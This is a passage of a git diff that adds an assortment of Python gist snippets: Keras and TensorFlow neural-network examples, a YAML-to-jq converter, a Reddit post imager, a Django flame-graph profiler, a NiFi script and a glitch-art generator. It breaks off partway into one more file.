+X_enc_reverse = [[c for c in reversed(x)] for x in X_enc]
+max_label = max(label2ind.values()) + 1
+y_enc = [[0] * (maxlen - len(ey)) + [label2ind[c] for c in ey] for ey in y]
+y_enc = [[encode(c, max_label) for c in ey] for ey in y_enc]
+
+X_enc_f = pad_sequences(X_enc, maxlen=maxlen)
+X_enc_b = pad_sequences(X_enc_reverse, maxlen=maxlen)
+y_enc = pad_sequences(y_enc, maxlen=maxlen)
+
+(X_train_f, X_test_f, X_train_b,
+ X_test_b, y_train, y_test) = train_test_split(X_enc_f, X_enc_b, y_enc,
+                                               test_size=11*32, train_size=45*32, random_state=42)
+print 'Training and testing tensor shapes:'
+print X_train_f.shape, X_test_f.shape, X_train_b.shape, X_test_b.shape, y_train.shape, y_test.shape
+
+max_features = len(word2ind)
+embedding_size = 128
+hidden_size = 32
+out_size = len(label2ind) + 1
+
+
+def reverse_func(x, mask=None):
+    return tf.reverse(x, [False, True, False])
+
+
+model_forward = Sequential()
+model_forward.add(Embedding(max_features, embedding_size, input_length=maxlen, mask_zero=True))
+model_forward.add(LSTM(hidden_size, return_sequences=True))  
+
+model_backward = Sequential()
+model_backward.add(Embedding(max_features, embedding_size, input_length=maxlen, mask_zero=True))
+model_backward.add(LSTM(hidden_size, return_sequences=True))
+model_backward.add(MaskLambda(function=reverse_func, mask_function=reverse_func))
+
+model = Sequential()
+
+model.add(Merge([model_forward, model_backward], mode='concat'))
+model.add(TimeDistributedDense(out_size))
+model.add(Activation('softmax'))
+
+model.compile(loss='categorical_crossentropy', optimizer='adam')
+
+batch_size = 32
+model.fit([X_train_f, X_train_b], y_train, batch_size=batch_size, nb_epoch=40,
+          validation_data=([X_test_f, X_test_b], y_test))
+score = model.evaluate([X_test_f, X_test_b], y_test, batch_size=batch_size)
+print('Raw test score:', score)
+
+
+def score(yh, pr):
+    coords = [np.where(yhh > 0)[0][0] for yhh in yh]
+    yh = [yhh[co:] for yhh, co in zip(yh, coords)]
+    ypr = [prr[co:] for prr, co in zip(pr, coords)]
+    fyh = [c for row in yh for c in row]
+    fpr = [c for row in ypr for c in row]
+    return fyh, fpr
+
+pr = model.predict_classes([X_train_f, X_train_b])
+yh = y_train.argmax(2)
+fyh, fpr = score(yh, pr)
+print 'Training accuracy:', accuracy_score(fyh, fpr)
+print 'Training confusion matrix:'
+print confusion_matrix(fyh, fpr)
+
+pr = model.predict_classes([X_test_f, X_test_b])
+yh = y_test.argmax(2)
+fyh, fpr = score(yh, pr)
+print 'Testing accuracy:', accuracy_score(fyh, fpr)
+print 'Testing confusion matrix:'
+print confusion_matrix(fyh, fpr)
diff --git a/hard-gists/1d5b3ad08201b7df48c7f25a169d0021/._snippet.py b/hard-gists/1d5b3ad08201b7df48c7f25a169d0021/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1d5b3ad08201b7df48c7f25a169d0021/._snippet.py differ
diff --git a/hard-gists/1d5b3ad08201b7df48c7f25a169d0021/snippet.py b/hard-gists/1d5b3ad08201b7df48c7f25a169d0021/snippet.py
new file mode 100644
index 00000000..25ebaa51
--- /dev/null
+++ b/hard-gists/1d5b3ad08201b7df48c7f25a169d0021/snippet.py
@@ -0,0 +1,112 @@
+# -*- coding: utf-8 -*-
+
+# Copyright (C) 2017 by Akira TAMAMORI
+
+# This program is free software; you can redistribute it and/or modify it under
+# the terms of the GNU General Public License as published by the Free Software
+# Foundation, either version 3 of the License, or (at your option) any later
+# version.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+# details.
+#
+# You should have received a copy of the GNU General Public License along with
+# this program.  If not, see <http://www.gnu.org/licenses/>.
+
+import tensorflow as tf
+from tensorflow.python.ops.rnn_cell import RNNCell
+
+
+class SRUCell(RNNCell):
+    """Simple Recurrent Unit (SRU).
+
+       This implementation is based on:
+
+       Tao Lei and Yu Zhang,
+       "Training RNNs as Fast as CNNs,"
+       https://arxiv.org/abs/1709.02755
+    """
+
+    def __init__(self, num_units, activation=None, reuse=None):
+        self._num_units = num_units
+        self._activation = activation or tf.tanh
+
+    @property
+    def output_size(self):
+        return self._num_units
+
+    @property
+    def state_size(self):
+        return self._num_units
+
+    def __call__(self, inputs, state, scope=None):
+        """Run one step of SRU."""
+
+        with tf.variable_scope(scope or type(self).__name__):  # "SRUCell"
+            with tf.variable_scope("Inputs"):
+                x = linear([inputs], self._num_units, False)
+            with tf.variable_scope("Gate"):
+                concat = tf.sigmoid(
+                    linear([inputs], 2 * self._num_units, True))
+                if tf.__version__ == "0.12.1":
+                    f, r = tf.split(1, 2, concat)
+                else:
+                    f, r = tf.split(axis=1, num_or_size_splits=2, value=concat)
+
+            c = f * state + (1 - f) * x
+
+            # highway connection
+            h = r * self._activation(c) + (1 - r) * inputs
+
+        return h, c
+
+
+def linear(args, output_size, bias, bias_start=0.0, scope=None):
+    """Linear map: sum_i(args[i] * W[i]), where W[i] is a variable.
+    Args:
+      args: a 2D Tensor or a list of 2D, batch x n, Tensors.
+      output_size: int, second dimension of W[i].
+      bias: boolean, whether to add a bias term or not.
+      bias_start: starting value to initialize the bias; 0 by default.
+      scope: VariableScope for the created subgraph; defaults to "Linear".
+
+    Returns:
+      A 2D Tensor with shape [batch x output_size] equal to
+      sum_i(args[i] * W[i]), where W[i]s are newly created matrices.
+
+    Raises:
+      ValueError: if some of the arguments has unspecified or wrong shape.
+    """
+    if args is None or (isinstance(args, (list, tuple)) and not args):
+        raise ValueError("`args` must be specified")
+    if not isinstance(args, (list, tuple)):
+        args = [args]
+
+    # Calculate the total size of arguments on dimension 1.
+    total_arg_size = 0
+    shapes = [a.get_shape().as_list() for a in args]
+    for shape in shapes:
+        if len(shape) != 2:
+            raise ValueError(
+                "Linear is expecting 2D arguments: %s" % str(shapes))
+        if not shape[1]:
+            raise ValueError(
+                "Linear expects shape[1] of arguments: %s" % str(shapes))
+        else:
+            total_arg_size += shape[1]
+
+    # Now the computation.
+    with tf.variable_scope(scope or "Linear"):
+        matrix = tf.get_variable("Matrix", [total_arg_size, output_size])
+        if len(args) == 1:
+            res = tf.matmul(args[0], matrix)
+        else:
+            res = tf.matmul(tf.concat(1, args), matrix)
+        if not bias:
+            return res
+        bias_term = tf.get_variable(
+            "Bias", [output_size],
+            initializer=tf.constant_initializer(bias_start))
+    return res + bias_term
diff --git a/hard-gists/1d7cb531bb8fff8c228b7710126bcc33/._snippet.py b/hard-gists/1d7cb531bb8fff8c228b7710126bcc33/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1d7cb531bb8fff8c228b7710126bcc33/._snippet.py differ
diff --git a/hard-gists/1d7cb531bb8fff8c228b7710126bcc33/snippet.py b/hard-gists/1d7cb531bb8fff8c228b7710126bcc33/snippet.py
new file mode 100644
index 00000000..72419f39
--- /dev/null
+++ b/hard-gists/1d7cb531bb8fff8c228b7710126bcc33/snippet.py
@@ -0,0 +1,51 @@
+#!/bin/env python
+
+import yaml
+import sys
+import json
+import argparse
+from subprocess import Popen, PIPE
+import argparse
+import os
+
+exists=os.path.isfile
+
+def json_serial(obj):
+    # all obj's dumped to str
+    return str(obj)
+
+# look for jq arguments, vs file arguments
+offset=1
+for arg in sys.argv[1:]:
+    if arg and arg[0] == '-' and not exists(arg):
+        ++offset
+    else:
+        break
+
+# construct arguments so that it looks like jq
+files=[]
+frm=[0]
+index=offset
+for arg in sys.argv[offset:]:
+    if exists(arg):
+       files.append(arg)
+       frm.insert(0,index)
+    index+=1
+
+for index in frm:
+    sys.argv.pop(index)
+
+
+if sys.argv:
+    # jq args are present
+    args=["jq"]+sys.argv
+    pipe = Popen(args, stdin=PIPE).stdin
+else:
+    # no jq args... just dump to stdout
+    pipe = sys.stdout
+
+if files:
+    for fin in files:
+        json.dump(yaml.load(open(fin)),pipe,default=json_serial)
+else:
+        json.dump(yaml.load(sys.stdin),pipe,default=json_serial)
diff --git a/hard-gists/1d878d0401b28b281eb75016ed29f2ee/._snippet.py b/hard-gists/1d878d0401b28b281eb75016ed29f2ee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1d878d0401b28b281eb75016ed29f2ee/._snippet.py differ
diff --git a/hard-gists/1d878d0401b28b281eb75016ed29f2ee/snippet.py b/hard-gists/1d878d0401b28b281eb75016ed29f2ee/snippet.py
new file mode 100644
index 00000000..5c62ed1a
--- /dev/null
+++ b/hard-gists/1d878d0401b28b281eb75016ed29f2ee/snippet.py
@@ -0,0 +1,121 @@
+#!/usr/bin/env python
+"""
+Example of using Keras to implement a 1D convolutional neural network (CNN) for timeseries prediction.
+"""
+
+from __future__ import print_function, division
+
+import numpy as np
+from keras.layers import Convolution1D, Dense, MaxPooling1D, Flatten
+from keras.models import Sequential
+
+
+__date__ = '2016-07-22'
+
+
+def make_timeseries_regressor(window_size, filter_length, nb_input_series=1, nb_outputs=1, nb_filter=4):
+    """:Return: a Keras Model for predicting the next value in a timeseries given a fixed-size lookback window of previous values.
+
+    The model can handle multiple input timeseries (`nb_input_series`) and multiple prediction targets (`nb_outputs`).
+
+    :param int window_size: The number of previous timeseries values to use as input features.  Also called lag or lookback.
+    :param int nb_input_series: The number of input timeseries; 1 for a single timeseries.
+      The `X` input to ``fit()`` should be an array of shape ``(n_instances, window_size, nb_input_series)``; each instance is
+      a 2D array of shape ``(window_size, nb_input_series)``.  For example, for `window_size` = 3 and `nb_input_series` = 1 (a
+      single timeseries), one instance could be ``[[0], [1], [2]]``. See ``make_timeseries_instances()``.
+    :param int nb_outputs: The output dimension, often equal to the number of inputs.
+      For each input instance (array with shape ``(window_size, nb_input_series)``), the output is a vector of size `nb_outputs`,
+      usually the value(s) predicted to come after the last value in that input instance, i.e., the next value
+      in the sequence. The `y` input to ``fit()`` should be an array of shape ``(n_instances, nb_outputs)``.
+    :param int filter_length: the size (along the `window_size` dimension) of the sliding window that gets convolved with
+      each position along each instance. The difference between 1D and 2D convolution is that a 1D filter's "height" is fixed
+      to the number of input timeseries (its "width" being `filter_length`), and it can only slide along the window
+      dimension.  This is useful as generally the input timeseries have no spatial/ordinal relationship, so it's not
+      meaningful to look for patterns that are invariant with respect to subsets of the timeseries.
+    :param int nb_filter: The number of different filters to learn (roughly, input patterns to recognize).
+    """
+    model = Sequential((
+        # The first conv layer learns `nb_filter` filters (aka kernels), each of size ``(filter_length, nb_input_series)``.
+        # Its output will have shape (None, window_size - filter_length + 1, nb_filter), i.e., for each position in
+        # the input timeseries, the activation of each filter at that position.
+        Convolution1D(nb_filter=nb_filter, filter_length=filter_length, activation='relu', input_shape=(window_size, nb_input_series)),
+        MaxPooling1D(),     # Downsample the output of convolution by 2X.
+        Convolution1D(nb_filter=nb_filter, filter_length=filter_length, activation='relu'),
+        MaxPooling1D(),
+        Flatten(),
+        Dense(nb_outputs, activation='linear'),     # For binary classification, change the activation to 'sigmoid'
+    ))
+    model.compile(loss='mse', optimizer='adam', metrics=['mae'])
+    # To perform (binary) classification instead:
+    # model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['binary_accuracy'])
+    return model
+
+
+def make_timeseries_instances(timeseries, window_size):
+    """Make input features and prediction targets from a `timeseries` for use in machine learning.
+
+    :return: A tuple of `(X, y, q)`.  `X` are the inputs to a predictor, a 3D ndarray with shape
+      ``(timeseries.shape[0] - window_size, window_size, timeseries.shape[1] or 1)``.  For each row of `X`, the
+      corresponding row of `y` is the next value in the timeseries.  The `q` or query is the last instance, what you would use
+      to predict a hypothetical next (unprovided) value in the `timeseries`.
+    :param ndarray timeseries: Either a simple vector, or a matrix of shape ``(timestep, series_num)``, i.e., time is axis 0 (the
+      row) and the series is axis 1 (the column).
+    :param int window_size: The number of samples to use as input prediction features (also called the lag or lookback).
+    """
+    timeseries = np.asarray(timeseries)
+    assert 0 < window_size < timeseries.shape[0]
+    X = np.atleast_3d(np.array([timeseries[start:start + window_size] for start in range(0, timeseries.shape[0] - window_size)]))
+    y = timeseries[window_size:]
+    q = np.atleast_3d([timeseries[-window_size:]])
+    return X, y, q
+
+
+def evaluate_timeseries(timeseries, window_size):
+    """Create a 1D CNN regressor to predict the next value in a `timeseries` using the preceding `window_size` elements
+    as input features and evaluate its performance.
+
+    :param ndarray timeseries: Timeseries data with time increasing down the rows (the leading dimension/axis).
+    :param int window_size: The number of previous timeseries values to use to predict the next.
+    """
+    filter_length = 5
+    nb_filter = 4
+    timeseries = np.atleast_2d(timeseries)
+    if timeseries.shape[0] == 1:
+        timeseries = timeseries.T       # Convert 1D vectors to 2D column vectors
+
+    nb_samples, nb_series = timeseries.shape
+    print('\n\nTimeseries ({} samples by {} series):\n'.format(nb_samples, nb_series), timeseries)
+    model = make_timeseries_regressor(window_size=window_size, filter_length=filter_length, nb_input_series=nb_series, nb_outputs=nb_series, nb_filter=nb_filter)
+    print('\n\nModel with input size {}, output size {}, {} conv filters of length {}'.format(model.input_shape, model.output_shape, nb_filter, filter_length))
+    model.summary()
+
+    X, y, q = make_timeseries_instances(timeseries, window_size)
+    print('\n\nInput features:', X, '\n\nOutput labels:', y, '\n\nQuery vector:', q, sep='\n')
+    test_size = int(0.01 * nb_samples)           # In real life you'd want to use 0.2 - 0.5
+    X_train, X_test, y_train, y_test = X[:-test_size], X[-test_size:], y[:-test_size], y[-test_size:]
+    model.fit(X_train, y_train, nb_epoch=25, batch_size=2, validation_data=(X_test, y_test))
+
+    pred = model.predict(X_test)
+    print('\n\nactual', 'predicted', sep='\t')
+    for actual, predicted in zip(y_test, pred.squeeze()):
+        print(actual.squeeze(), predicted, sep='\t')
+    print('next', model.predict(q).squeeze(), sep='\t')
+
+
+def main():
+    """Prepare input data, build model, evaluate."""
+    np.set_printoptions(threshold=25)
+    ts_length = 1000
+    window_size = 50
+
+    print('\nSimple single timeseries vector prediction')
+    timeseries = np.arange(ts_length)                   # The timeseries f(t) = t
+    evaluate_timeseries(timeseries, window_size)
+
+    print('\nMultiple-input, multiple-output prediction')
+    timeseries = np.array([np.arange(ts_length), -np.arange(ts_length)]).T      # The timeseries f(t) = [t, -t]
+    evaluate_timeseries(timeseries, window_size)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/1da13f548200d9fb2b06/._snippet.py b/hard-gists/1da13f548200d9fb2b06/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1da13f548200d9fb2b06/._snippet.py differ
diff --git a/hard-gists/1da13f548200d9fb2b06/snippet.py b/hard-gists/1da13f548200d9fb2b06/snippet.py
new file mode 100644
index 00000000..986f5f44
--- /dev/null
+++ b/hard-gists/1da13f548200d9fb2b06/snippet.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python
+
+# Requires this font : http://www.fonts2u.com/highvoltage.font
+# The images are saved in a folder named by the subreddit name
+# External Libraries : praw, PIL
+
+import praw
+import Image
+import ImageDraw, ImageFont
+import textwrap
+import os
+
+wrapify = lambda c, w: textwrap.wrap(c, width=w)
+
+def getSubreddit(sub, limit=10):
+
+	r = praw.Reddit(user_agent="RedditImagify")
+	j = r.get_subreddit(sub).get_hot(limit=limit)
+	
+	content = [(x.title, x.selftext, x.short_link, sub) for x in j]
+
+	return content
+
+def mkimg(content, maxHeight=500):
+
+	img  = Image.new("RGB", (500, maxHeight))
+	tfont = ImageFont.truetype("HighVoltage.ttf", 36)
+	bfont = ImageFont.truetype("HighVoltage.ttf", 20)
+	draw = ImageDraw.Draw(img)
+
+	draw.rectangle((0, 0, 500, maxHeight), fill=(255, 255, 255))
+	
+	y = 0
+	for t in wrapify(content[0], 30):
+		draw.text((20, 40+y), t, (0, 0, 0), font=tfont)
+		y += 40
+	
+	y += 30
+
+	for b in wrapify(content[1], 58):
+		draw.text((20, 30+y), b, (0, 0, 0), font=bfont)
+		y += 27
+	
+	if y>(maxHeight-100):
+		mkimg(content, maxHeight+36)
+		return None	
+	
+	print "[*] Saving %s"%content[2]
+	img.save("%s/%s.png"%(content[3], content[2].lstrip("http://redd.it/")))
+
+if __name__=="__main__":
+	sub = raw_input("Enter the subreddit to fetch : ")
+	if not os.path.exists(sub):
+		os.mkdir(sub)
+	n = int(raw_input("Enter no of post to fetch : "))
+	for j in getSubreddit(sub, n):
+		mkimg(j)
+		
diff --git a/hard-gists/1ddc318b4124ed152f6d/._snippet.py b/hard-gists/1ddc318b4124ed152f6d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1ddc318b4124ed152f6d/._snippet.py differ
diff --git a/hard-gists/1ddc318b4124ed152f6d/snippet.py b/hard-gists/1ddc318b4124ed152f6d/snippet.py
new file mode 100644
index 00000000..7da991a9
--- /dev/null
+++ b/hard-gists/1ddc318b4124ed152f6d/snippet.py
@@ -0,0 +1,144 @@
+"""
+Django middleware for generating request flame graphs.
+Requires the flamegraph.pl perl script:
+https://github.com/brendangregg/FlameGraph/blob/master/flamegraph.pl
+
+Installation:
+1. Create a directory for flame graphs
+2. Copy the flamegraph.pl script to it
+3. Add the FLAMES_DIR django setting
+4. Add the flames.FlamesMiddleware to MIDDLEWARE_CLASSES
+
+Usage:
+To generate a flame graph just append ?flames to the requested url.
+Middleware will create an svg in the FLAMES_DIR with the current timestamp.
+
+Uncomment line 88 to automatically open the svg in a new google chrome tab.
+"""
+
+import os
+import subprocess
+import sys
+import threading
+import time
+import traceback
+from datetime import datetime
+from xml.dom.minidom import Text
+
+from django.conf import settings
+
+FLAMES_DIR = os.path.abspath(settings.FLAMES_DIR)
+FLAMEGRAPH_SCRIPT_PATH = os.path.join(FLAMES_DIR, 'flamegraph.pl')
+
+
+def get_module_name(module_path):
+    for path in sys.path:
+        path = path or os.getcwd()
+
+        if module_path.startswith(path):
+            rel_path = module_path[len(path) + 1:]
+
+            return (
+                rel_path
+                .replace(u'/__init__.py', u'')
+                .replace(u'/', '.')
+                .replace(u'.py', u'')
+                .strip()
+            )
+
+    return module_path
+
+
+def write_samples(file, samples):
+    for _, frame in samples:
+        stack = traceback.extract_stack(frame)
+        frame_strings = (
+            func_name + u'@' + get_module_name(module_path)
+            for module_path, _, func_name, _ in stack
+        )
+        stack_string = u';'.join(frame_strings)
+        file.write(u'{} {}\n'.format(stack_string, 1))
+
+
+def write_flames(logger, title='flames'):
+    base_path = os.path.join(
+        FLAMES_DIR,
+        datetime.now().strftime('%Y-%m-%dT%H:%M:%S'),
+    )
+
+    out_txt_path = base_path + '.txt'
+    out_svg_path = base_path + '.svg'
+
+    title_element = Text()
+    title_element.data = title
+    title_xml = title_element.toxml()
+
+    with open(out_txt_path, 'w') as out_txt:
+        write_samples(out_txt, logger.samples)
+
+    with open(out_svg_path, 'w') as out_svg:
+        subprocess.call(
+            [
+                'perl', FLAMEGRAPH_SCRIPT_PATH, out_txt_path,
+                '--title', title_xml,
+            ],
+            stdout=out_svg
+        )
+
+    # subprocess.call(['google-chrome', 'file://' + out_svg_path])
+
+
+class StackLogger(object):
+    def __init__(self, thread_id, interval=0.001):
+        super(StackLogger, self).__init__()
+
+        self.thread_id = thread_id
+        self.interval = interval
+        self.should_stop = False
+        self.samples = []
+
+        self.started = threading.Event()
+        self.thread = threading.Thread(target=self.run)
+
+    def run(self):
+        start_time = time.time()
+        self.samples = []
+        self.started.set()
+
+        while not self.should_stop:
+            frame_start = time.clock()
+
+            timestamp = time.time() - start_time
+            frame = sys._current_frames()[self.thread_id]
+            self.samples.append((timestamp, frame))
+
+            frame_dt = time.clock() - frame_start
+            time.sleep(max(0, self.interval - frame_dt))
+
+    def start(self):
+        self.started.clear()
+        self.should_stop = False
+        self.thread.start()
+        self.started.wait()
+
+    def stop(self):
+        self.should_stop = True
+        self.thread.join()
+
+
+class FlamesMiddleware(object):
+    def process_request(self, request):
+        if settings.DEBUG and 'flames' in request.GET:
+            logger = StackLogger(threading.current_thread().ident)
+            logger.start()
+            request._stack_logger = logger
+
+    def process_response(self, request, response):
+        if settings.DEBUG and hasattr(request, '_stack_logger'):
+            logger = request._stack_logger
+            logger.stop()
+
+            url = request.build_absolute_uri()
+            write_flames(logger, title=url)
+
+        return response
diff --git a/hard-gists/1df6d34cd1b2861eb6b7432ee7245ccd/._snippet.py b/hard-gists/1df6d34cd1b2861eb6b7432ee7245ccd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1df6d34cd1b2861eb6b7432ee7245ccd/._snippet.py differ
diff --git a/hard-gists/1df6d34cd1b2861eb6b7432ee7245ccd/snippet.py b/hard-gists/1df6d34cd1b2861eb6b7432ee7245ccd/snippet.py
new file mode 100644
index 00000000..c38e8a62
--- /dev/null
+++ b/hard-gists/1df6d34cd1b2861eb6b7432ee7245ccd/snippet.py
@@ -0,0 +1,37 @@
+from org.apache.nifi.processors.script import ExecuteScript
+from org.apache.nifi.processor.io import InputStreamCallback
+from java.io import BufferedReader, InputStreamReader
+
+class ReadFirstLine(InputStreamCallback) :
+    __line = None;
+
+    def __init__(self) :
+        pass
+
+    def getLine(self) :
+        return self.__line
+
+    def process(self, input) :
+        try :
+            reader = InputStreamReader(input)
+            bufferedReader = BufferedReader(reader)
+            self.__line = bufferedReader.readLine()
+        except :
+            print "Exception in Reader:"
+            print '-' * 60
+            traceback.print_exc(file=sys.stdout)
+            print '-' * 60
+            raise
+        finally :
+            if bufferedReader is not None :
+                bufferedReader.close()
+            if reader is not None :
+                reader.close()
+
+flowFile = session.get()
+if flowFile is not None :
+
+    reader = ReadFirstLine()
+    session.read(flowFile, reader)
+    flowFile = session.putAttribute(flowFile, "from-content", reader.getLine())
+    session.transfer(flowFile, ExecuteScript.REL_SUCCESS)
diff --git a/hard-gists/1e1d383fb21841e8f144/._snippet.py b/hard-gists/1e1d383fb21841e8f144/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e1d383fb21841e8f144/._snippet.py differ
diff --git a/hard-gists/1e1d383fb21841e8f144/snippet.py b/hard-gists/1e1d383fb21841e8f144/snippet.py
new file mode 100644
index 00000000..a796a573
--- /dev/null
+++ b/hard-gists/1e1d383fb21841e8f144/snippet.py
@@ -0,0 +1,46 @@
+import numpy as np
+from tensorflow.python.summary.event_accumulator import EventAccumulator
+
+import matplotlib as mpl
+import matplotlib.pyplot as plt
+
+def plot_tensorflow_log(path):
+
+    # Loading too much data is slow...
+    tf_size_guidance = {
+        'compressedHistograms': 10,
+        'images': 0,
+        'scalars': 100,
+        'histograms': 1
+    }
+
+    event_acc = EventAccumulator(path, tf_size_guidance)
+    event_acc.Reload()
+
+    # Show all tags in the log file
+    #print(event_acc.Tags())
+
+    training_accuracies =   event_acc.Scalars('training-accuracy')
+    validation_accuracies = event_acc.Scalars('validation_accuracy')
+
+    steps = 10
+    x = np.arange(steps)
+    y = np.zeros([steps, 2])
+
+    for i in xrange(steps):
+        y[i, 0] = training_accuracies[i][2] # value
+        y[i, 1] = validation_accuracies[i][2]
+
+    plt.plot(x, y[:,0], label='training accuracy')
+    plt.plot(x, y[:,1], label='validation accuracy')
+
+    plt.xlabel("Steps")
+    plt.ylabel("Accuracy")
+    plt.title("Training Progress")
+    plt.legend(loc='upper right', frameon=True)
+    plt.show()
+
+
+if __name__ == '__main__':
+    log_file = "./logs/events.out.tfevents.1456909092.DTA16004"
+    plot_tensorflow_log(log_file)
diff --git a/hard-gists/1e2600ed62d5e76b21ee/._snippet.py b/hard-gists/1e2600ed62d5e76b21ee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e2600ed62d5e76b21ee/._snippet.py differ
diff --git a/hard-gists/1e2600ed62d5e76b21ee/snippet.py b/hard-gists/1e2600ed62d5e76b21ee/snippet.py
new file mode 100644
index 00000000..525faf83
--- /dev/null
+++ b/hard-gists/1e2600ed62d5e76b21ee/snippet.py
@@ -0,0 +1,66 @@
+import pandas as pd
+from ggplot import *
+from sklearn.datasets import fetch_20newsgroups
+from sklearn.metrics import roc_curve
+
+# vectorizer
+from sklearn.feature_extraction.text import HashingVectorizer
+
+# our classifiers
+from sklearn.naive_bayes import BernoulliNB, MultinomialNB
+from sklearn.svm import SVC
+from sklearn.neighbors import KNeighborsClassifier
+from sklearn.ensemble import RandomForestClassifier
+
+categories = [
+    'alt.atheism',
+    'talk.religion.misc',
+    'comp.graphics',
+    'sci.space'
+]
+
+data_train = fetch_20newsgroups(subset='train', categories=categories,
+        shuffle=True, random_state=42)
+
+data_test = fetch_20newsgroups(subset='test', categories=categories,
+        shuffle=True, random_state=42)
+
+categories = data_train.target_names
+
+vectorizer = HashingVectorizer(stop_words='english', non_negative=True, n_features=1000)
+X_train = vectorizer.fit_transform(data_train.data)
+X_test = vectorizer.transform(data_test.data)
+
+y_train = data_train.target==0
+y_test = data_test.target==0
+
+
+
+clfs = [
+    ("MultinomialNB", MultinomialNB()),
+    ("BernoulliNB", BernoulliNB()),
+    ("KNeighborsClassifier", KNeighborsClassifier()),
+    ("RandomForestClassifier", RandomForestClassifier()),
+    ("SVM", SVC(probability=True))
+]
+
+all_results = None
+for name, clf in clfs:
+    clf.fit(X_train.todense(), y_train)
+    probs = clf.predict_proba(X_test.todense())[:,1]
+    fpr, tpr, thresh = roc_curve(y_test, probs)
+    results = pd.DataFrame({
+        "name": name,
+        "fpr": fpr,
+        "tpr": tpr
+    })
+    if all_results is None:
+        all_results = results
+    else:
+        all_results = all_results.append(results)
+
+ggplot(aes(x='fpr', y='tpr', color='name'), data=all_results) + \
+    geom_step() + \
+    geom_abline(color="black") + \
+    ggtitle("Text Classification Benchmark on 20 News Groups")
+
diff --git a/hard-gists/1e5404260b7e3a8ba4ba0a0d62c0cf75/._snippet.py b/hard-gists/1e5404260b7e3a8ba4ba0a0d62c0cf75/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e5404260b7e3a8ba4ba0a0d62c0cf75/._snippet.py differ
diff --git a/hard-gists/1e5404260b7e3a8ba4ba0a0d62c0cf75/snippet.py b/hard-gists/1e5404260b7e3a8ba4ba0a0d62c0cf75/snippet.py
new file mode 100644
index 00000000..3bb0f584
--- /dev/null
+++ b/hard-gists/1e5404260b7e3a8ba4ba0a0d62c0cf75/snippet.py
@@ -0,0 +1,132 @@
+from __future__ import print_function
+
+import sys
+import random
+
+from collections import deque
+
+from PIL import Image
+
+# THIS IS THE MAGIC VALUE THAT MAKES EVERYTHING GLITCHED
+# DEFAULT: 0.00001 (good w/ 20 iterations)
+# FUN VALUES: 0.001 w/ 3 iterations
+glitchulate_factor = 0.00001
+
+def glitchulate(width, input,rec=False):
+
+    add = []
+
+    if random.random() < glitchulate_factor:
+        if random.random() > 0.5:
+            input.rotate(width)
+        else:
+            input.rotate(-width)
+    if len(input) < 10000:
+        r2 = input
+
+    else:
+        place = int(random.random() * (len(input)-2))
+        r2 = deque(list(input)[place:])
+        add = deque(glitchulate(width, deque(list(input)[:place]), True))
+
+    r = []
+
+    skip = 0
+    skipped = 0
+
+    for x in r2:
+        if skip:
+            skipped += 1
+            skip = skip - 1
+            continue
+
+        if random.random() < glitchulate_factor:
+            r.append(int(random.random()*128))
+            r.append(x)
+
+        elif random.random() < glitchulate_factor:
+            r.append(x)
+            skip = 2
+
+        elif random.random() < 0.01:
+            k = int(x - random.random() * 5)
+            if k >= 0:
+                r.append(k)
+            else:
+                r.append(0)
+
+        elif random.random() < 0.01:
+            k = int(x + random.random() * 5)
+            if k < 255:
+                r.append(k)
+            else:
+                r.append(254)
+
+        else:
+            r.append(x)
+
+    for skip in range(skipped):
+        r.append(0)
+
+    return deque(list(add) + list(r))
+
+im = Image.open(sys.argv[2])
+rgb = im.split()
+
+rgbdata = [deque(), deque(), deque()]
+pointdata = []
+
+for layer, data in zip(rgb, rgbdata):
+    pointdata = []
+
+    for y in range(im.height):
+        for x in range(im.width):
+            pointdata.append((x, y))
+            data.append(layer.getpixel((x, y)))
+
+
+print('beginning glitchulation')
+r, g, b = rgbdata
+
+for frame in range(int(sys.argv[1])+1):
+
+    if random.random() < glitchulate_factor*100:
+        width = int(im.height/100 * im.width) * int(random.random() * 5)
+
+        if random.random() > 0.5:
+            r.rotate(width)
+            g.rotate(width)
+            b.rotate(width)
+        else:
+            r.rotate(-width)
+            g.rotate(-width)
+            b.rotate(-width)
+
+    print("Frame", frame)
+
+    if random.random() < glitchulate_factor * 10000:
+        if random.random() > 0.5:
+            glitchulate_factor = glitchulate_factor * 3
+            if glitchulate_factor > 0.002:
+                # Time to drop this...
+                glitchulate_factor = 0.0001
+                print("Too glitched! Now ", glitchulate_factor)
+            else:
+                print("Upping the glitchuation to", glitchulate_factor)
+        else:
+            glitchulate_factor = glitchulate_factor / 2
+            print("Dropping the glitchulation to", glitchulate_factor)
+
+    r = glitchulate(im.width, r)
+    g = glitchulate(im.width, g)
+    b = glitchulate(im.width, b)
+
+    if frame == int(sys.argv[1]):
+        print("Assembling...")
+        im2 = Image.new(im.mode, im.size)
+
+        for c, x in enumerate(pointdata):
+            im2.putpixel(x, (r[c], g[c], b[c]))
+
+        print("Saving to disk...")
+        im2.save("glitch.jpg")
diff --git a/hard-gists/1e58686b6d5193cbaf30/._snippet.py b/hard-gists/1e58686b6d5193cbaf30/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e58686b6d5193cbaf30/._snippet.py differ
diff --git a/hard-gists/1e58686b6d5193cbaf30/snippet.py b/hard-gists/1e58686b6d5193cbaf30/snippet.py
new file mode 100644
index 00000000..5e298db5
--- /dev/null
+++ b/hard-gists/1e58686b6d5193cbaf30/snippet.py
@@ -0,0 +1,126 @@
+import os
+import argparse
+import json
